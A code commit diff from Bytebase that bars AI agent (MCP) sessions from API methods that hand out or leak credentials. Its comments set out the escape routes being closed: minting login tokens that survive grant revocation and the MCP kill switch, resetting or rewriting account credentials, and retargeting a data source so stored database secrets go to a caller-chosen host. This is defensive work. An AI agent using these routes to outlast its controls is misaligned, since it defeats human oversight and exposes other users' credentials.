Skip to content

Database governance built for humans and agents — controlling changes and access across every major database.

fix(mcp): forbid the methods that give away a credential for another principal (#21156)

Vincent Huangd65839b12072
diff --git a/backend/api/auth/auth.go b/backend/api/auth/auth.go
index 4e9d8b8c06..765fa35742 100644
--- a/backend/api/auth/auth.go
+++ b/backend/api/auth/auth.go
@@ -489,6 +489,11 @@ func getAuthContext(fullMethod string) (*common.AuthContext, error) {
if !ok {
return nil, errs.Errorf("invalid MCP method class extension, full method name %q", fullMethod)
}
+ mcpForbiddenReasonAny := proto.GetExtension(md, v1pb.E_McpForbiddenReason)
+ mcpForbiddenReason, ok := mcpForbiddenReasonAny.(v1pb.MCPForbiddenReason)
+ if !ok {
+ return nil, errs.Errorf("invalid MCP forbidden reason extension, full method name %q", fullMethod)
+ }
return &common.AuthContext{
AllowWithoutCredential: allowWithoutCredential,
@@ -496,6 +501,7 @@ func getAuthContext(fullMethod string) (*common.AuthContext, error) {
AuthMethod: authMethod,
Audit: audit,
MCPMethodClass: mcpMethodClass,
+ MCPForbiddenReason: mcpForbiddenReason,
}, nil
}
diff --git a/backend/api/mcp/gen/openapi.yaml b/backend/api/mcp/gen/openapi.yaml
index 073f6cfcbf..923c996512 100644
--- a/backend/api/mcp/gen/openapi.yaml
+++ b/backend/api/mcp/gen/openapi.yaml
@@ -7524,362 +7524,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/bytebase.v1.WorkloadIdentity'
- /bytebase.v1.WorksheetService/BatchUpdateWorksheetOrganizer:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: BatchUpdateWorksheetOrganizer
- description: |-
- Batch update the organizers of worksheets.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: bytebase.v1.WorksheetService.BatchUpdateWorksheetOrganizer
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.BatchUpdateWorksheetOrganizerRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.BatchUpdateWorksheetOrganizerResponse'
- /bytebase.v1.WorksheetService/CreateWorksheet:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: CreateWorksheet
- description: |-
- Creates a personal worksheet used in SQL Editor. Any authenticated user can create their own worksheets.
- Permissions required: None (authenticated users only)
- operationId: bytebase.v1.WorksheetService.CreateWorksheet
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.CreateWorksheetRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- /bytebase.v1.WorksheetService/DeleteWorksheet:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: DeleteWorksheet
- description: |-
- Delete a worksheet.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)
- operationId: bytebase.v1.WorksheetService.DeleteWorksheet
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.DeleteWorksheetRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/google.protobuf.Empty'
- /bytebase.v1.WorksheetService/GetWorksheet:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: GetWorksheet
- description: |-
- Get a worksheet by name.
- The users can access this method if,
- - they are the creator of the worksheet;
- - they have bb.worksheets.get permission on the workspace;
- - the sheet is shared with them with PROJECT_READ and PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: bytebase.v1.WorksheetService.GetWorksheet
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.GetWorksheetRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- /bytebase.v1.WorksheetService/ListWorksheetFolders:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: ListWorksheetFolders
- description: |-
- List the caller's worksheet folders.
- Only folders stored in the caller's worksheet organizer are returned.
- operationId: bytebase.v1.WorksheetService.ListWorksheetFolders
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetFoldersRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetFoldersResponse'
- /bytebase.v1.WorksheetService/ListWorksheets:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: ListWorksheets
- description: |-
- List worksheets.
- This is used for listing worksheets in a project, or across all projects by using `projects/-`.
- Permissions required: bb.worksheets.list
- operationId: bytebase.v1.WorksheetService.ListWorksheets
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetsRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetsResponse'
- /bytebase.v1.WorksheetService/SearchWorksheets:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: SearchWorksheets
- description: |-
- Search for worksheets.
- This is used for finding my worksheets or worksheets shared by other people.
- The sheet accessibility is the same as GetWorksheet().
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: bytebase.v1.WorksheetService.SearchWorksheets
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.SearchWorksheetsRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.SearchWorksheetsResponse'
- /bytebase.v1.WorksheetService/UpdateWorksheet:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: UpdateWorksheet
- description: |-
- Update a worksheet.
- The users can access this method if,
- - they are the creator of the worksheet;
- - they have bb.worksheets.manage permission on the workspace;
- - the sheet is shared with them with PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
- Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)
- operationId: bytebase.v1.WorksheetService.UpdateWorksheet
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.UpdateWorksheetRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- /bytebase.v1.WorksheetService/UpdateWorksheetOrganizer:
- post:
- tags:
- - bytebase.v1.WorksheetService
- summary: UpdateWorksheetOrganizer
- description: |-
- Update the organizer of a worksheet.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: bytebase.v1.WorksheetService.UpdateWorksheetOrganizer
- parameters:
- - name: Connect-Protocol-Version
- in: header
- required: true
- schema:
- $ref: '#/components/schemas/connect-protocol-version'
- - name: Connect-Timeout-Ms
- in: header
- schema:
- $ref: '#/components/schemas/connect-timeout-header'
- requestBody:
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.UpdateWorksheetOrganizerRequest'
- required: true
- responses:
- default:
- description: Error
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/connect.error'
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
/bytebase.v1.WorkspaceService/DeleteWorkspace:
post:
tags:
@@ -9676,67 +9320,16 @@ components:
bytebase.v1.BatchUpdateSavedQueryOrganizerResponse:
type: object
properties:
- savedQueryOrganizers:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.SavedQueryOrganizer'
- title: saved_query_organizers
- updatedCount:
- type: integer
- title: updated_count
- format: int32
- title: BatchUpdateSavedQueryOrganizerResponse
- additionalProperties: false
- bytebase.v1.BatchUpdateWorksheetOrganizerRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource whose worksheets' organizers are updated.
- Format: projects/{project}
- filter:
- type: string
- title: filter
- description: |-
- To filter the batch update target.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support exact "==" operator.
- organizer:
- title: organizer
- description: The organizer fields to update.
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet organizer.
- Only support update the following fields for now:
- - `starred`
- - `folders`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- title: BatchUpdateWorksheetOrganizerRequest
- additionalProperties: false
- bytebase.v1.BatchUpdateWorksheetOrganizerResponse:
- type: object
- properties:
- worksheetOrganizers:
+ savedQueryOrganizers:
type: array
items:
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- title: worksheet_organizers
+ $ref: '#/components/schemas/bytebase.v1.SavedQueryOrganizer'
+ title: saved_query_organizers
updatedCount:
type: integer
title: updated_count
format: int32
- title: BatchUpdateWorksheetOrganizerResponse
+ title: BatchUpdateSavedQueryOrganizerResponse
additionalProperties: false
bytebase.v1.BillingInterval:
type: string
@@ -10648,21 +10241,6 @@ components:
title: CreateWorkloadIdentityRequest
additionalProperties: false
description: Request message for creating a workload identity.
- bytebase.v1.CreateWorksheetRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource where this worksheet will be created.
- Format: projects/{project}
- worksheet:
- title: worksheet
- description: The worksheet to create.
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: CreateWorksheetRequest
- additionalProperties: false
bytebase.v1.DataClassificationSetting:
type: object
properties:
@@ -11649,17 +11227,6 @@ components:
title: DeleteWorkloadIdentityRequest
additionalProperties: false
description: Request message for deleting a workload identity.
- bytebase.v1.DeleteWorksheetRequest:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- The name of the worksheet to delete.
- Format: projects/{project}/worksheets/{worksheet}
- title: DeleteWorksheetRequest
- additionalProperties: false
bytebase.v1.DeleteWorkspaceRequest:
type: object
properties:
@@ -12881,17 +12448,6 @@ components:
title: GetWorkloadIdentityRequest
additionalProperties: false
description: Request message for getting a workload identity.
- bytebase.v1.GetWorksheetRequest:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- The name of the worksheet to retrieve.
- Format: projects/{project}/worksheets/{worksheet}
- title: GetWorksheetRequest
- additionalProperties: false
bytebase.v1.GetWorkspaceRequest:
type: object
properties:
@@ -15222,89 +14778,6 @@ components:
title: ListWorkloadIdentitiesResponse
additionalProperties: false
description: Response message for listing workload identities.
- bytebase.v1.ListWorksheetFoldersRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheet folders.
- Format: projects/{project}
- title: ListWorksheetFoldersRequest
- additionalProperties: false
- bytebase.v1.ListWorksheetFoldersResponse:
- type: object
- properties:
- folders:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.WorksheetFolder'
- title: folders
- description: The caller's worksheet folders.
- title: ListWorksheetFoldersResponse
- additionalProperties: false
- bytebase.v1.ListWorksheetsRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheets.
- Format: projects/{project}
- Use "projects/-" to list worksheets across all projects.
- filter:
- type: string
- title: filter
- description: |-
- To filter the list result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
-
- For example:
- creator == "users/{email}"
- creator != "users/{email}"
- pageSize:
- type: integer
- title: page_size
- format: int32
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
- The maximum value is 1000; values above 1000 will be coerced to 1000.
- pageToken:
- type: string
- title: page_token
- description: |-
- A page token, received from a previous `ListWorksheets` call.
- Provide this to retrieve the subsequent page.
-
- When paginating, all other parameters provided to `ListWorksheets` must match
- the call that provided the page token.
- title: ListWorksheetsRequest
- additionalProperties: false
- bytebase.v1.ListWorksheetsResponse:
- type: object
- properties:
- worksheets:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: worksheets
- description: The worksheets from the specified parent.
- nextPageToken:
- type: string
- title: next_page_token
- description: |-
- A token to retrieve next page of worksheets.
- Pass this value in the page_token field in the subsequent call to
- `ListWorksheets` method to retrieve the next page of worksheets.
- title: ListWorksheetsResponse
- additionalProperties: false
bytebase.v1.ListWorkspacesRequest:
type: object
title: ListWorkspacesRequest
@@ -15451,6 +14924,24 @@ components:
Protocol) server's delegated credential. The values are copied verbatim from
the verified credential's grant state; empty fields record that the grant
stored nothing (legacy sessions), never a resolved or synthesized value.
+ bytebase.v1.MCPForbiddenReason:
+ type: string
+ title: MCPForbiddenReason
+ enum:
+ - MCP_FORBIDDEN_REASON_UNSPECIFIED
+ - MINTS_CREDENTIAL
+ - RESETS_CREDENTIAL
+ - TAKES_OVER_ACCOUNT
+ - ENDS_SESSION
+ - ENDS_MEMBERSHIP
+ - MINTS_CREDENTIAL_FOR_OTHERS
+ - REWRITES_SESSION_BOUNDARY
+ description: |-
+ Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+ each value names what its methods actually do, and the serving side turns
+ that into a sentence. A denial whose stated reason has drifted from the
+ mechanism is worse than a bare refusal, because it is the thing the next
+ reader trusts — so a method changing what it does changes its reason here.
bytebase.v1.MCPMethodClass:
type: string
title: MCPMethodClass
@@ -18835,74 +18326,6 @@ components:
`SearchSavedQueries` method to retrieve the next page of saved queries.
title: SearchSavedQueriesResponse
additionalProperties: false
- bytebase.v1.SearchWorksheetsRequest:
- type: object
- properties:
- parent:
- type: string
- title: parent
- description: |-
- The parent resource of the worksheets.
- Format: projects/{project}
- filter:
- type: string
- title: filter
- description: |-
- To filter the search result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - title: the worksheet title, support "contains" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support "==" operator.
-
- For example:
- creator == "users/{email}"
- title.contains("worksheet title")
- creator != "users/{email}"
- starred == true
- starred == false
- visibility in ["PRIVATE", "PROJECT_READ", "PROJECT_WRITE"]
- visibility == "PRIVATE"
- folder == "foo/bar"
- pageSize:
- type: integer
- title: page_size
- format: int32
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
- The maximum value is 1000; values above 1000 will be coerced to 1000.
- pageToken:
- type: string
- title: page_token
- description: |-
- A page token, received from a previous `SearchWorksheets` call.
- Provide this to retrieve the subsequent page.
- title: SearchWorksheetsRequest
- additionalProperties: false
- bytebase.v1.SearchWorksheetsResponse:
- type: object
- properties:
- worksheets:
- type: array
- items:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- title: worksheets
- description: The worksheets that matched the search criteria.
- nextPageToken:
- type: string
- title: next_page_token
- description: |-
- A token to retrieve next page of worksheets.
- Pass this value in the page_token field in the subsequent call to
- `SearchWorksheets` method to retrieve the next page of worksheets.
- title: SearchWorksheetsResponse
- additionalProperties: false
bytebase.v1.SemanticTypeSetting:
type: object
properties:
@@ -21385,58 +20808,6 @@ components:
title: UpdateWorkloadIdentityRequest
additionalProperties: false
description: Request message for updating a workload identity.
- bytebase.v1.UpdateWorksheetOrganizerRequest:
- type: object
- properties:
- organizer:
- title: organizer
- description: |-
- The organizer to update.
-
- The organizer's `worksheet` field is used to identify the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet organizer.
- Only support update the following fields for now:
- - `starred`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- allowMissing:
- type: boolean
- title: allow_missing
- description: |-
- If set to true, and the worksheet organizer is not found, a new worksheet organizer will be created.
- In this situation, `update_mask` is ignored.
- title: UpdateWorksheetOrganizerRequest
- additionalProperties: false
- bytebase.v1.UpdateWorksheetRequest:
- type: object
- properties:
- worksheet:
- title: worksheet
- description: |-
- The worksheet to update.
-
- The worksheet's `name` field is used to identify the worksheet to update.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet.
- (e.g., `title`, `statement`; *not* `worksheet.title` or `worksheet.statement`)
- Only support update the following fields for now:
- - `title`
- - `statement`
- - `starred`
- - `visibility`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- title: UpdateWorksheetRequest
- additionalProperties: false
bytebase.v1.UpdateWorkspaceRequest:
type: object
properties:
@@ -21759,127 +21130,6 @@ components:
- GITHUB
- GITLAB
description: ProviderType identifies the CI/CD platform.
- bytebase.v1.Worksheet:
- type: object
- properties:
- name:
- type: string
- title: name
- description: |-
- The name of the worksheet resource, generated by the server.
- Canonical parent is project.
- Format: projects/{project}/worksheets/{worksheet}
- project:
- type: string
- title: project
- description: |-
- The project resource name.
- Format: projects/{project}
- database:
- type: string
- title: database
- description: |-
- The database resource name.
- Format: instances/{instance}/databases/{database}
- If the database parent doesn't exist, the database field is empty.
- title:
- type: string
- title: title
- maxLength: 200
- description: The title of the worksheet.
- creator:
- type: string
- title: creator
- description: |-
- The creator of the Worksheet.
- Format: users/{email}
- createTime:
- title: create_time
- description: The create time of the worksheet.
- $ref: '#/components/schemas/google.protobuf.Timestamp'
- updateTime:
- title: update_time
- description: The last update time of the worksheet.
- $ref: '#/components/schemas/google.protobuf.Timestamp'
- content:
- type: string
- title: content
- format: byte
- description: |-
- The content of the worksheet.
- By default, it will be cut off in SearchWorksheet() method. If it doesn't match the `content_size`, you can
- use GetWorksheet() request to retrieve the full content.
- contentSize:
- type:
- - integer
- - string
- title: content_size
- format: int64
- description: content_size is the full size of the content, may not match the size of the `content` field.
- visibility:
- title: visibility
- $ref: '#/components/schemas/bytebase.v1.Worksheet.Visibility'
- starred:
- type: boolean
- title: starred
- description: starred indicates whether the worksheet is starred by the current authenticated user.
- folders:
- type: array
- items:
- type: string
- title: folders
- title: Worksheet
- additionalProperties: false
- bytebase.v1.Worksheet.Visibility:
- type: string
- title: Visibility
- enum:
- - VISIBILITY_UNSPECIFIED
- - PROJECT_READ
- - PROJECT_WRITE
- - PRIVATE
- bytebase.v1.WorksheetFolder:
- type: object
- properties:
- folders:
- type: array
- items:
- type: string
- title: folders
- description: The folder path segments.
- category:
- title: category
- description: The folder category.
- $ref: '#/components/schemas/bytebase.v1.WorksheetFolder.Category'
- title: WorksheetFolder
- additionalProperties: false
- bytebase.v1.WorksheetFolder.Category:
- type: string
- title: Category
- enum:
- - CATEGORY_UNSPECIFIED
- - MINE
- - SHARED
- bytebase.v1.WorksheetOrganizer:
- type: object
- properties:
- worksheet:
- type: string
- title: worksheet
- description: |-
- The name of the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- starred:
- type: boolean
- title: starred
- description: starred means if the worksheet is starred.
- folders:
- type: array
- items:
- type: string
- title: folders
- title: WorksheetOrganizer
- additionalProperties: false
bytebase.v1.Workspace:
type: object
properties:
@@ -23550,7 +22800,5 @@ tags:
description: SubscriptionService manages enterprise subscriptions and licensing.
- name: bytebase.v1.WorkloadIdentityService
description: WorkloadIdentityService manages workload identities for external CI/CD integrations.
- - name: bytebase.v1.WorksheetService
- description: WorksheetService manages SQL worksheets for query development.
- name: bytebase.v1.WorkspaceService
description: WorkspaceService manages workspace-level operations and profile.
diff --git a/backend/api/v1/mcp_forbidden.go b/backend/api/v1/mcp_forbidden.go
index 41bf23fd3f..d5b96d0988 100644
--- a/backend/api/v1/mcp_forbidden.go
+++ b/backend/api/v1/mcp_forbidden.go
@@ -8,79 +8,126 @@ import (
"github.com/bytebase/bytebase/backend/common"
v1pb "github.com/bytebase/bytebase/backend/generated-go/v1"
- "github.com/bytebase/bytebase/backend/generated-go/v1/v1connect"
)
-// The reasons a method is forbidden to an MCP session. Each denial names one,
-// so the agent — and the operator reading the audit row — learns why rather
-// than just that it was refused. Each reason states what its methods actually
-// do: a denial whose stated reason has drifted from the mechanism is worse
+// mcpForbiddenReasons is UX copy, NOT the classification and NOT the mapping.
+// Both of those live on the RPC itself, as the bytebase.v1.mcp_method_class and
+// bytebase.v1.mcp_forbidden_reason annotations, beside permission / audit /
+// auth_method — one source of truth, visible where the RPC is defined, and read
+// here off the AuthContext the auth interceptor already resolves. This table
+// only turns a reason into a sentence the agent can act on, so it has one row
+// per mechanism rather than one per method, and a missing row costs wording,
+// never enforcement.
+//
+// Each sentence completes "<procedure> is not available to MCP sessions because
+// ___", so it states what the method does rather than merely that it is
+// refused: a denial whose stated reason has drifted from the mechanism is worse
// than a bare refusal, because it is the thing the next reader trusts.
-const (
- // reasonMintsCredential: the method hands a token back to the caller. For
- // a non-web caller — and an MCP session is always one — finalizeLogin and
- // switchWorkspaceInternal put a plain bb.user.access token in the response
- // body. That token is not audience-bound to the MCP resource, survives
- // revocation of the OAuth grant, and ignores the workspace MCP kill
- // switch, so obtaining one ends the MCP boundary for good.
- reasonMintsCredential = "it hands back a login token that would outlive the MCP grant"
- // reasonResetsCredential: the method drives the out-of-band reset flow —
- // mailing a reset or login code, or consuming one — that sets or delivers
- // the very secret Login accepts. Denying Login alone would leave the
- // agent holding the credential for the next human login.
- reasonResetsCredential = "it drives the credential-reset flow that sets or delivers the secret a login accepts"
- // reasonTakesOverAccount: UpdateUser's password and MFA branches authorize
- // on caller == subject alone, with no permission check and no proof of the
- // old password, so an MCP session can rewrite its own user's credentials
- // and then log in with them. The whole method is refused, not just those
- // branches — the classification is per method.
- reasonTakesOverAccount = "it can rewrite the account's own credentials, which would let the session take the account over"
- // reasonEndsSession: Logout deletes the web refresh token and expires the
- // session cookies. It mints nothing; it destroys the human's own login
- // session, which an agent acting on their behalf has no business doing.
- reasonEndsSession = "it ends the human's own login session"
- // reasonEndsMembership: the workspace-lifecycle pair. Both end in
- // AuthService.switchWorkspaceInternal, which mints a plain workspace token
- // whenever the caller has no refresh cookie — and an MCP session never has
- // one — after having already destroyed the caller's membership.
- reasonEndsMembership = "it destroys the caller's own workspace membership and mints a plain workspace token"
- // reasonForbiddenClass is the fallback for a method annotated FORBIDDEN
- // that has no entry below. Adding the annotation is what denies the
- // method; the table only supplies better wording.
- reasonForbiddenClass = "it is not reachable by an AI agent session"
-)
+var mcpForbiddenReasons = map[v1pb.MCPForbiddenReason]string{
+ // The method hands a token back to the caller. For a non-web caller — and
+ // an MCP session is always one — finalizeLogin and switchWorkspaceInternal
+ // put a plain bb.user.access token in the response body. That token is not
+ // audience-bound to the MCP resource, survives revocation of the OAuth
+ // grant, and ignores the workspace MCP kill switch, so obtaining one ends
+ // the MCP boundary for good.
+ v1pb.MCPForbiddenReason_MINTS_CREDENTIAL: "it hands back a login token that would outlive the MCP grant",
+
+ // The method drives the out-of-band reset flow — mailing a reset or login
+ // code, or consuming one — that sets or delivers the very secret Login
+ // accepts. Denying Login alone would leave the agent holding the credential
+ // for the next human login.
+ v1pb.MCPForbiddenReason_RESETS_CREDENTIAL: "it drives the credential-reset flow that sets or delivers the secret a login accepts",
-// mcpForbiddenReasons is UX copy, NOT the classification. What a method is
-// classified as lives on the RPC itself, as the bytebase.v1.mcp_method_class
-// annotation, beside permission / audit / auth_method — one source of truth,
-// visible where the RPC is defined, and read here off the AuthContext the auth
-// interceptor already resolves. This table only turns that classification into
-// a sentence the agent can act on, and a missing row costs wording, never
-// enforcement.
-var mcpForbiddenReasons = map[string]string{
- // Methods that put a token in the response body.
- v1connect.AuthServiceLoginProcedure: reasonMintsCredential,
- v1connect.AuthServiceSignupProcedure: reasonMintsCredential,
- v1connect.AuthServiceExchangeTokenProcedure: reasonMintsCredential,
- v1connect.AuthServiceRefreshProcedure: reasonMintsCredential,
- v1connect.AuthServiceSwitchWorkspaceProcedure: reasonMintsCredential,
+ // UpdateUser's password and MFA branches take no proof of the old password.
+ // A caller updating itself needs no permission at all, and on self-hosted a
+ // caller holding bb.users.update reaches any other end user's password too
+ // (user_service.go: the caller != subject branch checks that permission and
+ // nothing further). Either way the session ends up holding credentials it
+ // can log in with. The whole method is refused, not just those branches —
+ // the classification is per method.
+ v1pb.MCPForbiddenReason_TAKES_OVER_ACCOUNT: "it can rewrite an account's credentials, which would let the session take that account over",
- // Methods that set or deliver the secret those tokens are issued against.
- v1connect.AuthServiceRequestPasswordResetProcedure: reasonResetsCredential,
- v1connect.AuthServiceResetPasswordProcedure: reasonResetsCredential,
- v1connect.AuthServiceSendEmailLoginCodeProcedure: reasonResetsCredential,
+ // Logout deletes the web refresh token and expires the session cookies. It
+ // mints nothing; it destroys the human's own login session, which an agent
+ // acting on their behalf has no business doing.
+ v1pb.MCPForbiddenReason_ENDS_SESSION: "it ends the human's own login session",
- // Self-service account mutation.
- v1connect.UserServiceUpdateUserProcedure: reasonTakesOverAccount,
+ // The workspace-lifecycle pair. Both end in
+ // AuthService.switchWorkspaceInternal, which mints a plain workspace token
+ // whenever the caller has no refresh cookie — and an MCP session never has
+ // one — after having already destroyed the caller's membership.
+ v1pb.MCPForbiddenReason_ENDS_MEMBERSHIP: "it destroys the caller's own workspace membership and mints a plain workspace token",
- // Session teardown.
- v1connect.AuthServiceLogoutProcedure: reasonEndsSession,
+ // The method leaves someone holding a principal the caller is not. Four
+ // ways, all of them annotated:
+ // - issuing the credential outright — a service key or SCIM token
+ // returned in plaintext, a caller-chosen password on a new account;
+ // - carrying an existing one out — a stored client secret or SMTP
+ // password sent to a host the caller named;
+ // - choosing what will later be trusted to mint one — the issuer and
+ // subject ExchangeToken validates against;
+ // - redirecting where one gets delivered — UpdateEmail rebinds any
+ // account to an address the caller picked, and the reset flow mails the
+ // code to whatever address the account then carries.
+ // The levers that contain a runaway session all act on the caller's own
+ // principal: revoke the OAuth grant, flip the workspace MCP switch,
+ // deactivate the human. None of them reaches a principal that was never the
+ // caller's, so what these give away outlives all three.
+ //
+ // InstanceService/UpdateDataSource is the same "carry an existing one out"
+ // shape as the two Test methods, against the database's credentials rather
+ // than Bytebase's own: it merges a partial request onto the STORED,
+ // already-decrypted data source, so an update_mask naming only a
+ // destination field (host, port, ssh_host, additional_addresses,
+ // sasl_config.kdc_host) keeps the stored password, ssl_key and
+ // ssh_private_key. With validate_only it dials the caller's host
+ // immediately and persists nothing; without it the retarget is written and
+ // SyncInstance triggers the connection on demand. No allowlist filters the
+ // host on either path. A database user is a principal other than the
+ // caller, the same way the SMTP account behind TestEmailSetting is.
